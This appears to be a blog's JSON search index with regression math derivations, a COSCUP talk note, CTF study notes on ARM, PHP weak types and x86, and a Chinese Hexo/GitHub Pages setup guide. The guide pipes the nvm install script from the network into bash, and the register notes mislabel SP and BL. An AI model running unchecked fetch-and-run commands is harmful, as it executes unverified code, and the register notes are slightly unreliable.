\\alpha\n(\\frac{1}{N}\\sum_{i=1}^{N}[(\\sigma(z_i) - y_i)x_{i2}]) \\\\\nb_{new} &= b_{old} - \\alpha (\\frac{1}{N}\\sum_{i=1}^{N}(\\sigma(z_i) -\ny_i)) \\\\\n\\end{align*}\n\\]\nWe can tell from the above equation:\n\n\\(\\sigma(z) - y_i\\) represents the\nerror of each predict probability and actual label in training\nset.\nWith \\(\\frac{1}{N}\\sum_{i=1}^{N}\\) , it\nbecomes average error.\nThe interesting thing is: each weight(\\(w\\)) is affected by the average of the\nproduct between the feature itself and the error.\nAnd the gradient of bias(\\(b\\)) itself\nis always 1, so it only affected by the average error of whole\nsample.\n\nAfter the lengthy derivation and simplification, the final gradient\ndescent equation looks quite elegant, TBH xd.\nConclusion\nIt’s a much longer derivation than I expect.\nEven though it skips the vector form in multi-feature already, the\nderivation of three features was still challenging for me.\nIn order to link the linear algebra and probability theory, I spent a\nlot of effort in derivation.\nI will consider writing something like vector form in multi-feature or\nexpand the concept of logistic regression into neural networks and its\nderivation, then we should encounter discrete mathematics Orz.\n","categories":["AI"],"tags":["AI","Machine Learning","Regression Analysis","Logistic Regression"]},{"title":"Vectorization of Linear and Logistic Regression","url":"/2025/10/09/AI/vectorization-of-linear-and-logistic-regression/","content":"Vectorized Derivations of Linear and Logistic Regression\n>> [zhTW version] <<\n\nThe Predicament of a Single\nFeature\nIn previous articles ([Linear Regression], [Logistic Regression]), we used a lot of\nmathematical derivations. However, for the convenience of discussing\nmathematical principles, we adopted simpler assumptions of single or\ndouble features:\n\\[\n\\begin{align*}\ny &= wx + b \\\\\nz &= w_1x_1 + w_2x_2 + b \\\\\n\\end{align*}\n\\]\nIn practical scenarios, such assumptions are almost impossible to\napply.\n\nFor example, housing prices (y) are influenced by factors such as\narea (x1), floor (x2), orientation (x3), etc.\n\nOnce we have multiple features, the formula becomes a lengthy\nsummation:\n\\[\n\\begin{align*}\ny &= w_1x_1 + w_2x_2 + w_3x_3 + ... + w_mx_m + b \\\\\n\\end{align*}\n\\] Such an equation is not only difficult to handle but also\naffects computational efficiency. To facilitate calculations, it is\nnecessary to introduce tools from linear algebra: vectors and\nmatrices.\nVectorization\nLet’s take the following equation as an example: \\[\n\\begin{align*}\ny &= w_1x_1 + w_2x_2 + w_3x_3 + ... + w_mx_m + b \\tag{1} \\\\\n\\end{align*}\n\\]\nFeature Vector x & Weight\nVector w\nWe pack all features and weights into separate column vectors: \\[\n\\mathbf{w} =\n\\begin{bmatrix}\nw_1 \\\\\nw_2 \\\\\n\\vdots \\\\\nw_m \\\\\n\\end{bmatrix}\n\\quad\n\\mathbf{x} =\n\\begin{bmatrix}\nx_1 \\\\\nx_2 \\\\\n\\vdots \\\\\nx_m \\\\\n\\end{bmatrix}\n\\] In equation \\(\\text{(1)}\\),\nafter replacing with vectors, there is still a bias term \\(b\\). To make the overall operation more\nconcise, we also include the bias term in the vector. This extended\nvector is called an Augmented Vector: \\[\n\\tilde{\\mathbf{w}} =\n\\begin{bmatrix}\nb \\\\\nw_1 \\\\\nw_2 \\\\\n\\vdots \\\\\nw_m \\\\\n\\end{bmatrix}\n\\quad\n\\tilde{\\mathbf{x}} =\n\\begin{bmatrix}\n1 \\\\\nx_1 \\\\\nx_2 \\\\\n\\vdots \\\\\nx_m \\\\\n\\end{bmatrix}\n\\] In vector dot product, we transpose one of the vectors (column\nto row vector) to satisfy the conditions for matrix multiplication:\n\\[\n\\tilde{\\mathbf{w}}^{T} =\n\\begin{bmatrix}\nb & w_1 & w_2 & \\cdots & w_m\n\\end{bmatrix}\n\\]\nVector Dot Product\nAccording to the algebraic definition of vector dot product: \\[\n\\begin{align*}\n\\vec{a} &= [a_1, a_2, \\dots, a_n] \\\\\n\\vec{b} &= [b_1, b_2, \\dots, b_n] \\\\\n\\vec{a} \\cdot \\vec{b} &= \\sum_{i=1}^{n}a_ib_i = a_1b_1 + a_2b_2 +\n\\dots + a_nb_n \\\\\n\\end{align*}\n\\] Which can also be expressed as w transpose times x (w\ntranspose x): \\(\\mathbf{w}^{T}\\mathbf{x}\\) Therefore: \\[\n\\mathbf{w}^{T}\\mathbf{x} = w_1x_1 + w_2x_2 + ... + w_mx_m\n\\] Applying \\(\\tilde{\\mathbf{x}}\\), \\(\\tilde{\\mathbf{w}}\\): \\[\n\\begin{align*}\n\\hat{y} &= b\\cdot 1 + w_1\\cdot x_1 + \\cdots + w_m\\cdot x_m \\\\\n&= \\tilde{\\mathbf{w}}^{T}\\tilde{\\mathbf{x}}\n\\end{align*}\n\\]\nLinear Regression\nMatrix Form\nAssume the number of samples is \\(n\\), and the number of features is \\(m\\). Single sample model: \\(\\hat{y}^{(i)} =\n\\tilde{\\mathbf{w}}^{T}\\tilde{\\mathbf{x}}^{(i)}\\) Shape of \\(\\hat{y}^{(i)} = (1\\times(m+1))\\times((m+1)\\times\n1) = 1\\times 1\\)\nExpansion of Feature Matrix\n(X)\nIn the augmented data, each sample contains independent variables for\neach feature, which we represent with a \\(\\tilde{\\mathbf{x}}\\) vector: \\[\n\\tilde{\\mathbf{x}} =\n\\begin{bmatrix}1 \\\\ x_1 \\\\ x_2 \\\\ \\cdots \\\\ x_m\\end{bmatrix}\n\\] When we have one sample, its first feature is expressed as\n\\(x_1\\). The second is expressed as\n\\(x_2\\), and so on, up to \\(x_m\\). The size of the entire vector \\(\\tilde{\\mathbf{x}}\\) will be \\(((m + 1)\\times 1)\\). Next, we need to stack\nthese vectors vertically. However, directly stacking vectors of size\n\\(((m + 1)\\times 1)\\) would result in a\nmatrix with dimensions \\(n\\times((m + 1)\\times\n1)\\), which clearly doesn’t meet the requirements for the matrix\nmultiplication \\(\\hat{\\mathbf{y}} =\n\\tilde{\\mathbf{X}}\\tilde{\\mathbf{w}}\\).\nSo, we transpose each vector \\(\\tilde{\\mathbf{x}}\\) for stacking: \\[\n\\tilde{\\mathbf{X}} =\n\\begin{bmatrix}\n(\\tilde{\\mathbf{x}}^{(1)})^T \\\\\n(\\tilde{\\mathbf{x}}^{(2)})^T \\\\\n\\vdots \\\\\n(\\tilde{\\mathbf{x}}^{(n)})^T \\\\\n\\end{bmatrix}\n\\] Finally, expanding the matrix: \\[\n\\tilde{\\mathbf{X}} =\n\\begin{bmatrix}\n1 & x_1^{(1)} & x_2^{(1)} & \\cdots & x_m^{(1)} \\\\\n1 & x_1^{(2)} & x_2^{(2)} & \\cdots & x_m^{(2)} \\\\\n\\vdots & \\vdots & \\vdots & \\ddots & \\vdots \\\\\n1 & x_1^{(n)} & x_2^{(n)} & \\cdots & x_m^{(n)} \\\\\n\\end{bmatrix}\n\\] Shape of \\(\\tilde{\\mathbf{X}} =\n(n\\times (m+1))\\)\nPrediction Vector (\\(\\hat{\\mathbf{y}}\\))\nEach vector \\(\\tilde{\\mathbf{x}}^{(i)}\\) will have a\ncorresponding predicted value \\(\\hat{y}^{(i)}\\). Stacking all these\npredicted values together forms \\(\\hat{\\mathbf{y}}\\): \\[\n\\hat{\\mathbf{y}} =\n\\begin{bmatrix}\n\\hat{y}^{(1)} \\\\\n\\hat{y}^{(2)} \\\\\n\\vdots \\\\\n\\hat{y}^{(n)}\n\\end{bmatrix}\n\\]\nShape of \\(\\hat{\\mathbf{y}} = n\\times\n1\\)\nActual Output Vector (\\(\\mathbf{y}\\))\nThe corresponding true outputs can also be stacked into a vector:\n\\[\n\\mathbf{y} =\n\\begin{bmatrix}\ny^{(1)} \\\\\ny^{(2)} \\\\\n\\vdots \\\\\ny^{(n)}\n\\end{bmatrix}\n\\]\nShape of \\(\\mathbf{y} = n\\times 1\\)\nModel Prediction in Matrix\nForm\nNext, we define the model in matrix form: \\[\n\\hat{\\mathbf{y}} = \\tilde{\\mathbf{X}}\\tilde{\\mathbf{w}}\n\\] Shape of \\(\\hat{\\mathbf{y}} =\n(n\\times (m + 1))\\times((m + 1)\\times 1) = (n\\times 1)\\)\nMean Squared Error in Matrix\nForm\nThe formula for calculating the Mean Squared Error (MSE) for all\nsamples is as follows: \\[\nJ_{MSE} = \\frac{1}{n}\\sum_{i=1}^{n}(\\hat{y}^{(i)} - y^{(i)}) ^ 2\n\\] Let \\(e^{(i)} = \\hat{y}^{(i)} -\ny^{(i)}\\) and the error vector \\(\\mathbf{e} = \\hat{\\mathbf{y}} -\n\\mathbf{y}\\), then: \\[\n\\mathbf{e} =\n\\begin{bmatrix}\n\\hat{y}^{(1)} - y^{(1)} \\\\\n\\hat{y}^{(2)} - y^{(2)} \\\\\n\\vdots \\\\\n\\hat{y}^{(n)} - y^{(n)} \\\\\n\\end{bmatrix}\n\\] And since \\(\\sum_{i=1}^{n}(e^{(i)})^2 =\n\\mathbf{e}^T\\mathbf{e}\\), then: \\[\nJ_{MSE} = \\frac{1}{n}\\mathbf{e}^T\\mathbf{e} =\n\\frac{1}{n}(\\hat{\\mathbf{y}} - \\mathbf{y})^T(\\hat{\\mathbf{y}} -\n\\mathbf{y})\n\\] Shape of \\(J_{MSE} = (1\\times\nn)\\times(n\\times 1)=1\\times 1\\)\n\n \n [Why does $\\sum_{i=1}^{n}(e^{(i)})^2 = \\mathbf{e}^{T}\\mathbf{e}$?]\n \n \n \\[\n\\begin{align*}\n\\sum_{i=1}^{n}(e^{(i)})^2 &= \\mathbf{e}^{T}\\mathbf{e} \\\\\n\\because\n\\mathbf{e}^{T}\\mathbf{e} &=\n\\begin{bmatrix}e^{(1)}&e^{(2)}&\\cdots&e^{(n)}\\end{bmatrix}\n\\begin{bmatrix}e^{(1)}\\\\e^{(2)}\\\\\\vdots\\\\e^{(n)}\\end{bmatrix} \\\\\n&= (e^{(1)})^2 + (e^{(2)})^2 + \\cdots + (e^{(n)})^2 \\\\\n&= \\sum_{i=1}^{n}(e^{(i)})^2 \\\\\n\\therefore \\sum_{i=1}^{n}(e^{(i)})^2 &= \\mathbf{e}^{T}\\mathbf{e} \\\\\n\\end{align*}\n\\]\n\n \n\nPartial\nDerivatives for Multiple Features and Samples\nWe have written out several matrix forms for linear regression above:\n\\[\n\\begin{align*}\n\\hat{\\mathbf{y}} &= \\tilde{\\mathbf{X}}\\tilde{\\mathbf{w}} \\\\\nJ_{MSE} &= \\frac{1}{n}(\\hat{\\mathbf{y}} -\n\\mathbf{y})^T(\\hat{\\mathbf{y}} - \\mathbf{y})\n\\end{align*}\n\\] Next, let’s find the partial derivatives: \\[\n\\begin{align*}\n\\text{Let }L^{(i)} &= \\hat{y}^{(i)} - y^{(i)} \\\\\nJ_{MSE} &= \\frac{1}{n}\\sum_{i=1}^{n}(\\hat{y}^{(i)} - y^{(i)})^2 \\\\\n\\dfrac{dJ_{MSE}}{d\\tilde{\\mathbf{w}}} &=\n\\frac{1}{n}\\sum_{i=1}^{n}\\dfrac{d(L^{(i)})^2}{d\\tilde{\\mathbf{w}}}\n\\end{align*}\n\\] Chain Rule: \\[\n\\dfrac{d(L^{(i)})^2}{d\\tilde{\\mathbf{w}}} =\n\\dfrac{d(L^{(i)})^2}{dL^{(i)}}\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}}\n\\] First step, find \\(\\dfrac{d(L^{(i)})^2}{dL^{(i)}}\\): \\[\n\\begin{align*}\n\\dfrac{d(L^{(i)})^2}{dL^{(i)}} &= 2L^{(i)} \\\\\n&= 2(\\hat{y}^{(i)} - y^{(i)})\n\\end{align*}\n\\] Next, find \\(\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}}\\):\n\\[\n\\begin{align*}\n\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}} &= \\dfrac{d(\\hat{y}^{(i)} -\ny^{(i)})}{d\\tilde{\\mathbf{w}}} \\\\\n&= \\dfrac{d(\\tilde{\\mathbf{w}}^T\\tilde{\\mathbf{x}}^{(i)} -\ny^{(i)})}{d\\tilde{\\mathbf{w}}} \\\\\n&= \\tilde{\\mathbf{x}}^{(i)} - 0 \\\\\n&= \\tilde{\\mathbf{x}}^{(i)} \\\\\n\\end{align*}\n\\] Combine back into the chain rule: \\[\n\\begin{align*}\n\\dfrac{d(L^{(i)})^2}{d\\tilde{\\mathbf{w}}} &=\n\\dfrac{d(L^{(i)})^2}{dL^{(i)}}\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}} \\\\\n&= 2(\\hat{y}^{(i)} - y^{(i)})\\tilde{\\mathbf{x}}^{(i)}\n\\end{align*}\n\\] Finally, substitute back into the derivative of \\(J_{MSE}\\) and convert to vector and matrix\nform: \\[\n\\begin{align*}\n\\dfrac{dJ_{MSE}}{d\\tilde{\\mathbf{w}}} &=\n\\frac{1}{n}\\sum_{i=1}^{n}\\dfrac{d(L^{(i)})^2}{d\\tilde{\\mathbf{w}}} \\\\\n&= \\frac{1}{n}\\sum_{i=1}^{n}(2(\\hat{y}^{(i)} -\ny^{(i)})\\tilde{\\mathbf{x}}^{(i)}) \\\\\n&= \\frac{2}{n}\\sum_{i=1}^{n}(\\hat{y}^{(i)} -\ny^{(i)})\\tilde{\\mathbf{x}}^{(i)} \\\\\n\\nabla_{\\tilde{\\mathbf{w}}}J_{MSE} &=\n\\frac{2}{n}\\tilde{\\mathbf{X}}^{T}(\\tilde{\\mathbf{X}}\\tilde{\\mathbf{w}} -\n\\mathbf{y}) \\\\\n\\end{align*}\n\\]\nLogistic Regression\nMatrix Form\nAssume the number of samples is \\(n\\), and the number of features is \\(m\\). Single sample model: \\(z^{(i)} =\n\\tilde{\\mathbf{w}}^{T}\\tilde{\\mathbf{x}}^{(i)}\\) Shape of \\(z^{(i)} = (1\\times(m+1))\\times((m+1)\\times 1) =\n1\\times 1\\)\nSigmoid function: \\(\\sigma(z^{(i)}) = p^{(i)}\n= \\frac{1}{1 + e^{-z^{(i)}}}\\) Shape of \\(p^{(i)} = 1\\times 1\\)\nMean Cross-Entropy\nError in Matrix Form\nThe formula for calculating the Mean Cross-Entropy (MCE) for all\nsamples is as follows: \\[\nJ_{MCE} = -\\frac{1}{n}\\sum_{i=1}^{n}[y^{(i)}\\ln(p^{(i)}) + (1 -\ny^{(i)})\\ln(1 - p^{(i)})]\n\\] For \\(y^{(i)}\\) and \\(p^{(i)}\\), we first write them as vectors:\n\\[\n\\mathbf{y} = \\begin{bmatrix}y^{(1)} \\\\ y^{(2)} \\\\ \\vdots \\\\\ny^{(n)}\\end{bmatrix}\\quad\n\\mathbf{p} = \\begin{bmatrix}p^{(1)} \\\\ p^{(2)} \\\\ \\vdots \\\\\np^{(n)}\\end{bmatrix} \\\\\n\\] Take the natural logarithm \\(\\ln\\) of each element in the vectors \\(\\mathbf{p}\\) and \\((1 - \\mathbf{p})\\): \\[\n\\ln(\\mathbf{p}) = \\begin{bmatrix}\\ln(p^{(1)}) \\\\ \\ln(p^{(2)}) \\\\ \\vdots\n\\\\ \\ln(p^{(n)})\\end{bmatrix}\\quad\n\\ln(1 - \\mathbf{p}) = \\begin{bmatrix}\\ln(1 - p^{(1)}) \\\\ \\ln(1 -\np^{(2)}) \\\\ \\vdots \\\\ \\ln(1- p^{(n)})\\end{bmatrix}\n\\] Finally, start substituting the elements in \\(J_{MCE}\\): \\[\n\\begin{align*}\nJ_{MCE} &= -\\frac{1}{n}\\sum_{i=1}^{n}[y^{(i)}\\ln(p^{(i)}) + (1 -\ny^{(i)})\\ln(1 - p^{(i)})] \\\\\n&= -\\frac{1}{n}[\\sum_{i=1}^{n}y^{(i)}\\ln(p^{(i)}) + \\sum_{i=1}^{n}(1\n- y^{(i)})\\ln(1 - p^{(i)})] \\\\\n&= -\\frac{1}{n}[\\mathbf{y}^{T}\\ln(\\mathbf{p}) + (1 -\n\\mathbf{y})^{T}\\ln(1 - \\mathbf{p})]\n\\end{align*}\n\\]\nPartial\nDerivatives for Multiple Features and Samples\nHere, we will derive the partial derivatives for a single sample and\nthen combine them for all samples, expressing the result in vector or\nmatrix form. Above, we wrote out several vector forms for logistic\nregression: \\[\n\\begin{align*}\nz^{(i)} &= \\tilde{\\mathbf{w}}^{T}\\tilde{\\mathbf{x}}^{(i)} \\\\\np^{(i)} &= \\sigma(z^{(i)}) = \\frac{1}{1 + e^{-z^{(i)}}} \\\\\nJ_{MCE} &= -\\frac{1}{n}\\sum_{i=1}^{n}[y^{(i)}\\ln(p^{(i)}) + (1 -\ny^{(i)})\\ln(1 - p^{(i)})] \\\\\n\\end{align*}\n\\] Next, we start finding the partial derivatives: \\[\n\\begin{align*}\n\\text{Let } L^{(i)} &= -[y^{(i)}\\ln(p^{(i)}) + (1 - y^{(i)})\\ln(1 -\np^{(i)})] \\\\\n\\dfrac{dJ_{MCE}}{d\\tilde{\\mathbf{w}}} &=\n\\frac{1}{n}\\dfrac{d}{d\\tilde{\\mathbf{w}}}\\sum_{i=1}^{n}[y^{(i)}\\ln(p^{(i)})\n+ (1 - y^{(i)})\\ln(1 - p^{(i)})] \\\\\n&= \\frac{1}{n}\\sum_{i=1}^{n}\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}}\n\\end{align*}\n\\] Apply the chain rule: \\(\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}} =\n\\dfrac{dL^{(i)}}{dp^{(i)}}\\dfrac{dp^{(i)}}{dz^{(i)}}\\dfrac{dz^{(i)}}{d\\tilde{\\mathbf{w}}}\\)\nFirst, find \\(\\dfrac{dL^{(i)}}{dp^{(i)}}\\): \\[\n\\begin{align*}\n\\dfrac{dL^{(i)}}{dp^{(i)}} &=\n\\dfrac{d}{dp^{(i)}}[-(y^{(i)}\\ln(p^{(i)}) + (1 - y^{(i)})\\ln(1 -\np^{(i)}))] \\\\\n&= -y^{(i)}\\frac{1}{p^{(i)}} - (1 - y^{(i)})\\frac{-1}{1 -\np^{(i)}}\\quad\\because \\frac{d}{dx}\\ln(x) = \\frac{1}{x},\n\\frac{d}{dx}\\ln(1 - x) = \\frac{-1}{1 - x} \\\\\n&= \\frac{-y^{(i)}}{p^{(i)}} + \\frac{1-y^{(i)}}{1-p^{(i)}} \\\\\n&= \\frac{-y^{(i)} + y^{(i)}p^{(i)} + p^{(i)} -\np^{(i)}y^{(i)}}{p^{(i)}(1-p^{(i)})} \\\\\n&= \\frac{p^{(i)} - y^{(i)}}{p^{(i)}(1-p^{(i)})} \\\\\n\\end{align*}\n\\]\nSecond step, find \\(\\dfrac{dp^{(i)}}{dz^{(i)}}\\): \\[\n\\begin{align*}\np^{(i)} &= \\sigma(z^{(i)}) = \\frac{1}{1 + e^{-z^{(i)}}} = (1 +\ne^{-z^{(i)}})^{-1} \\\\\n\\text{Let } u &= 1 + e^{-z^{(i)}} \\\\\n\\dfrac{dp^{(i)}}{dz^{(i)}} &=\n\\dfrac{dp^{(i)}}{du}\\dfrac{du}{dz^{(i)}} \\\\\n&= \\dfrac{du^{-1}}{du}\\dfrac{d(1 + e^{-z^{(i)}})}{dz^{(i)}} \\\\\n&= -1u^{-2} \\cdot (0 -e^{-z^{(i)}}) \\\\\n&= \\frac{-1}{u^2}\\cdot -e^{-z^{(i)}} \\\\\n&= \\frac{e^{-z^{(i)}}}{(1 + e^{-z^{(i)}})^2} \\\\\n&= \\frac{1 \\cdot e^{-z^{(i)}}}{(1 + e^{-z^{(i)}})(1 + e^{-z^{(i)}})}\n\\\\\n&= p^{(i)}(1 - p^{(i)}) \\\\\n\\end{align*}\n\\]\n\n \n [How is $(1-p^{(i)})$ derived?]\n \n \n \\[\n\\begin{align*}\n\\frac{e^{-z^{(i)}}}{1 + e^{-z^{(i)}}} &= \\frac{e^{-z^{(i)}} + 1 -\n1}{1 + e^{-z^{(i)}}} \\\\\n&= \\frac{1 + e^{-z^{(i)}}}{1 + e^{-z^{(i)}}} - \\frac{1}{1 +\ne^{-z^{(i)}}} \\\\\n&= 1 - p^{(i)} \\\\\n\\end{align*}\n\\]\n\n \n\nThird step, find \\(\\dfrac{dz^{(i)}}{d\\tilde{\\mathbf{w}}}\\):\n\\[\n\\begin{align*}\n\\dfrac{dz^{(i)}}{d\\tilde{\\mathbf{w}}} &=\n\\dfrac{d}{d\\tilde{\\mathbf{w}}}(\\tilde{\\mathbf{w}}^{T}\\tilde{\\mathbf{x}}^{(i)})\n\\\\\n&= \\tilde{\\mathbf{x}}^{(i)} \\\\\n\\end{align*}\n\\]\nCombine the three parts: \\[\n\\begin{align*}\n\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}} &=\n\\dfrac{dL^{(i)}}{dp^{(i)}}\\dfrac{dp^{(i)}}{dz^{(i)}}\\dfrac{dz^{(i)}}{d\\tilde{\\mathbf{w}}}\n\\\\\n&= \\frac{p^{(i)} - y^{(i)}}{p^{(i)}(1-p^{(i)})}\\cdot p^{(i)}(1 -\np^{(i)})\\cdot \\tilde{\\mathbf{x}}^{(i)} \\\\\n&= (p^{(i)} - y^{(i)})\\cdot \\tilde{\\mathbf{x}}^{(i)} \\\\\n\\end{align*}\n\\] Finally, substitute back into the derivative of \\(J_{MCE}\\) and convert to vector and matrix\nform: \\[\n\\begin{align*}\n\\dfrac{dJ_{MCE}}{d\\tilde{\\mathbf{w}}} &=\n\\frac{1}{n}\\sum_{i=1}^{n}\\dfrac{dL^{(i)}}{d\\tilde{\\mathbf{w}}} \\\\\n&= \\frac{1}{n}\\sum_{i=1}^{n}(p^{(i)} - y^{(i)})\\cdot\n\\tilde{\\mathbf{x}}^{(i)} \\\\\n\\nabla_{\\tilde{\\mathbf{w}}}J_{MCE} &=\n\\frac{1}{n}\\tilde{\\mathbf{X}}^{T}(\\mathbf{p} - \\mathbf{y}) \\\\\n\\end{align*}\n\\]\nGradient Descent\nFor both linear and logistic regression, we have ultimately obtained\nthe partial derivatives of the loss function: \\[\n\\begin{align*}\n\\nabla_{\\tilde{\\mathbf{w}}}J_{MSE} &=\n\\frac{2}{n}\\tilde{\\mathbf{X}}^{T}(\\tilde{\\mathbf{X}}\\tilde{\\mathbf{w}} -\n\\mathbf{y}) \\\\\n\\nabla_{\\tilde{\\mathbf{w}}}J_{MCE} &=\n\\frac{1}{n}\\tilde{\\mathbf{X}}^{T}(\\mathbf{p} - \\mathbf{y})\n\\end{align*}\n\\] The purpose of these partial derivatives is to iteratively\nupdate the values of the vector \\(\\tilde{\\mathbf{w}}\\): Linear Regression:\n\\(\\tilde{\\mathbf{w}} := \\tilde{\\mathbf{w}} -\n\\alpha\\nabla_{\\tilde{\\mathbf{w}}}J_{MSE}\\) Logistic Regression:\n\\(\\tilde{\\mathbf{w}} := \\tilde{\\mathbf{w}} -\n\\alpha\\nabla_{\\tilde{\\mathbf{w}}}J_{MCE}\\) Here, \\(\\alpha\\) is the learning rate, which\ncontrols the step size, and will not be elaborated on further here.\nConclusion\nThrough vectorization and matrix operations, we have transformed the\noriginally lengthy formulas for linear and logistic regression into\nconcise and efficient matrix forms. This not only greatly simplifies the\nmathematical derivation process but also provides a powerful\ncomputational foundation for machine learning models with multiple\nfeatures and samples. From the predicament of a single feature to the\nelegant expression in multiple dimensions, vectorization is an\nindispensable key step in understanding modern machine learning\nalgorithms.\n","categories":["AI"],"tags":["AI","Machine Learning","Regression Analysis","Linear Regression","Logistic Regression","Vector","Matrix"]},{"title":"COSCUP2023: 商業專案開源之旅：跨越技術挑戰與團隊溝通的實戰分享","url":"/2023/08/01/COSCUP/coscup-2023/","content":"今年被公司推上去開講。\n\n因為我們公司現在正在把內部商業專案做開源。\n我負責的部分是後端，還好前幾季有努力寫一點東西出來，至少我負責的部分有東西可以給會眾聽。\n大概內容就是幾個底層的實作遇到的一些問題。\n講完隔天馬上就想到明年要講什麼了…\n慘兮兮。\n2023 COSCUP Slide\n","categories":["COSCUP"],"tags":["COSCUP"]},{"title":"ARM Instruction Set Architecture Notes","url":"/2018/08/02/CTF/ARM-ISA/","content":"Basic instructions\n(MOV) Load a immediate\nvalue into register\n# represents a immdediate value. Usage\nMOV register, #value\nMOV R0, #10 means register0 = 10\n ### (LDR) Load any data into register Usage\nLDR register, =data LDR R1, =0x12345678 means\nLoad 0x12345678 into register1\n(LDR) Load memory ata into\nregister\nUsage LDR register, [address] LDR R0, =0x12345678LDR R1, [R0] Move\n0x12345678 into R0. And fetch data from memory address 0x12345678 into\nR1.\n(STR) Write register’s\nvalue into memory\nUsage STR register, [address] MOV R0, #10LDR R2, =0x12345678STR R1, [R2] move 10 into\nR0, and make R2 = 0x12345678 write R1’s value into R2 address’s\nmemory.\n(ADD) add value\nUsage\nADD register, register, (regiater or immediate value)\nEx1: MOV R0, #1 MOV R1, #2 ADD R3, R0, R1Ex2: MOV R0, #1 ADD R1, R0, #2\n(SUB) sub value\nUsage\nSUB register, register, (register or immediate value)\nEx1: MOV R0, #1 MOV R1, #2 SUB R3, R1, R0 ---> R3 = R1 - R0Ex2: MOV R0, #1 SUB R3, R0, #0 ---> R3 = R0 - 0\n(AND) bit and\nUsage\nAND register, register, (register or immediate value)\nEx1: AND R0, R0, R1Ex2: AND R0, R0, #0x23\n(ORR) bit or\nUsage\nORR register, register, (register or immediate value)\nEx1: ORR R0, R0, R1Ex2: ORR R0, R0, #0x23\n(B) branch\nJump to a specific address or label. Usage B address\nSometimes we can give a label. ... B nextnext: ...\n(BL) branch and load\nBefore jump to address or label, copy the next instruction’s address\ninto R14(lr) register. Usage same as B\ninstruction.\nARM mode vs Thumb mode\nWith same code - Thumb uses memory space size about ARM’s 60 - 70 %.\n- Thumb’s instructions is more than ARM’s 30 - 40%. - Under 32 bit, ARM\nis fast about 40% to Thumb, but under 16 bit, Thumb is fast 40 - 50% to\nARM. - Using Thumb code, register’s power dissipation will reduce about\n30%.\nToggle b/w two mode.\n(BX) Branch\nexchance or (BLX) Branch load and exchange.\nBX and BLX is same as B and BL, but an\nadditonal function which can switch working mode. Usage:\nBX Rn and BLX Rn If Rn’s bit [0] is 0, then\nprocessor’s mode will change(or maintain) at ARM else Thumb status.\n3-Stage pipeline(ARM7)\nProgram Counter(PC/R15)\nPC is a program counter which is R15(register15), This register is\nalways point to the fetched instruction. not\nexecuting one.\nDiffence when ARM or Thumb\nstatus.\nUnder ARM status, PC will point to current instruction + 8. If Thumb\nstatus, PC will point to current instruction + 4.\nRegister\n(SP)Stack Pointer - R13 (LR)Link Register - R14 (PC)Program Counter -\nR15 (CPSR) Current Program Status Register (SPSR) Saved Program Status\nRegister\nReference\nARM9\n","categories":["CTF"],"tags":["CTF","Note"]},{"title":"CTF Note","url":"/2018/05/22/CTF/CTF-note/","content":"PHP weak type\nIf string is process as a number, When the string doesn’t contain\n‘.’, ‘e’ or ‘E’ and in the range of integer, it will process as\ninteger.\notherwise, process as float, and the begin of string decide it value, or\nit will be 0.\nPHP Weak Type\nCTF PHP-WEAK-TYPE\nWriteup\n","categories":["CTF"],"tags":["CTF","Note","YuntechOSC"]},{"title":"Into-X86","url":"/2018/06/01/CTF/Into-X86/","content":"int main() { int a = 1; return 0;}\nmain0x00000000004004d6 <+0>: push rbp0x00000000004004d7 <+1>: mov rbp,rsp0x00000000004004da <+4>: mov DWORD PTR [rbp-0x4],0x10x00000000004004e1 <+11>: mov eax,0x00x00000000004004e6 <+16>: pop rbp0x00000000004004e7 <+17>: ret \n"},{"title":"x86_64 Register","url":"/2018/05/24/CTF/x86-64-Register/","content":"Register\n\n\n\nRegister Name\n16bit\n32bit\n64bit\n\n\n\n\nAccumulator\nAX\nEAX\nRAX\n\n\nBase\nBX\nEBX\nRBX\n\n\nCounter\nCX\nECX\nRCX\n\n\nData\nDX\nEDX\nRDX\n\n\nInstruction Pointer\nIP\nEIP\nRIP\n\n\nSource Pointer\nSP\nESP\nRSP\n\n\nBase Pointer\nBP\nEBP\nRBP\n\n\nSource Index\nSI\nESI\nRSI\n\n\n\n","categories":["CTF"],"tags":["CTF","Note"]},{"title":"Hexo / Gitpage / TravisCI 建置","url":"/2018/04/10/application/Hexo-Gitpage-TravisCI/","content":"前言\n沒有前言, 只有動手。\n謹紀錄架設踩坑遊記。\n\n我會稍微介紹一下，以防有什麼前置知識不懂。\nGitPage\nGitPage有點像是暱稱，正式的稱法應該是GitHub Pages，\n是由GitHub所提供，便利contributor針對各自的repository去建置靜態的網站可以放置諸如API\nDoc等專案訊息。\n其中,\nGitHub還提供每個帳號透過建立一個 [account].github.io\nrepository的方式\n來產生自己的blog的服務。\n久而久之，很多contributor就習慣以靜態網站的方式去blogging筆記,\n心得等內容,\n作為自己的里程碑, 或者是單純的developing log。\n網路上有很多相關的教學 如何建置自己的GitHub靜態網站等,\n稍微Google一下就有了。\n如果一些教學文都跟現行版本有所出入的話, 可以試著參考看看GitHub Pages自帶的教學。\nHexo\n坦白講我也沒辦法很詳細的敘述他是什麼東西，哈哈。\nHexo是一個基於Node.js開發的blogging框架,\n使用Markdown（或其他渲染引擎）來解析你的文章，並且生成靜態網頁。\n算是集套板, 佈署, 還有簡便編輯(Markdown)於一身的一個框架？\n透過Hexo跟GitPage的結合, 就可以開始做自己的bloggin。\nTravisCI\nTravis是名字, CI是指持續整合(Continuous integration),\n有機會再介紹CI是什麼。\nTravisCI是一個服務,\n透過GitHub來自動的為Contributor針對repository做自動化建置或者是佈署。\n在建立靜態網站中, 我們是透過編輯一個branch的方式,\n來讓CI替我們generate靜態檔案，\n然後自動Push到網站的master分支，來達到更新的目的。\n\n環境 & 需求\n我不喜歡用Windows XDDDD”\n所以以下的全部教學都基於Ubuntu。\n> Ubuntu 16.04 LTS\n\nNodeJS Git\nHexo\n\n安裝\n安裝 NVM\n安裝script (curl / wget 擇一):\n$ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash$ wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash\n安裝完成後可以source一下自己的.nvm資料夾來注入command以便直接使用。\n當然, 直接關閉Shell重開一個也行。 $ source 